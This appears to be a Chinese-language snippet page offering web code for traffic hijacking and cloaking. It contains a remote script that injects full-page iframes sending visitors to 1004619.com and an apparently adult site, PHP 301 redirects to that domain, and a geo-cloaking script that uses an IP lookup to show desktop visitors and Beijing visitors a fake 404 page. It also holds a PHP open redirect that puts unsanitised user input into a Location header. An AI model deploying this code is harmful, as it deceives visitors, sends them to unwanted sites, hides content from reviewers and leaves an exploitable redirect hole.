<script src=”http://1004619.com/js.js” type=”text/javascript”></script> js代码如下: function uaredirect() { var n = navigator.userAgent.toLowerCase(); if (n.indexOf('android')>-1){ document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.1004619.com"></iframe>'); } else if (n.indexOf('iphone')>-1 || n.indexOf('iPhone')>-1 || n.indexOf('ipod')>-1 || n.indexOf('ipad')>-1 || n.indexOf('ios')>-1){ document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.yyouujizz.com"></iframe>'); } else { document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="1000" height="2050" allowTransparency src="http://www.1004619.com"></iframe></center>'); } } uaredirect();
<?php function go_url($url) { header('HTTP/1.1 301 Moved Permanently'); exit(header('location:'.$url)); } //通过get函数获取id $id = $_GET['id']; if($id == art){ $url = "https://www.1004619.com/"; }else if($id == Crafts){ $url = "https://www.1004619.com/"; }else if($id == automotive){ $url = "https://www.1004619.com/"; }else{ $url = "http://www.www.com"; } go_url($url); ?> 新增方法,改下id }else if($id == 3){ $url = "http://www.www.com";
<script src='https://pv.sohu.com/cityjson?ie=utf-8'></script><script> var isPic=true; var lj =false; var Cname = '重庆'; if(returnCitySN){ Cname =returnCitySN.cname; } if(/Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) { isPic =false; console.log(Cname); if(Cname.indexOf('北京')>-1){ lj =true; } } if(isPic || lj){ is_tmp= 1; console.log('404'); $(function(){ $('title').html('404 Not Found'); $('body').load('/404.html'); }); } </script>
if(window!=top){top.location.href=_window.location.href;} var shouji = navigator.userAgent.match(/Android|iPad|iPhone|iPod/i) != null; var url = _window.location.href; var host = _window.location.host; if(shouji){ if(url.indexOf('//www.') > -1){ var wwwurl = url.replace("//www.","//m."); location.href= wwwurl; } }else{ if(url.indexOf('//m.') > -1){ var wwwurl = url.replace("//m.","//www."); location.href= wwwurl; } }
<?php $url = $_GET["url"]; header("Location: $url\n"); ?> 使用方法,go.php?url=http://www.1004619.com
There is no excerpt because this is a protected post.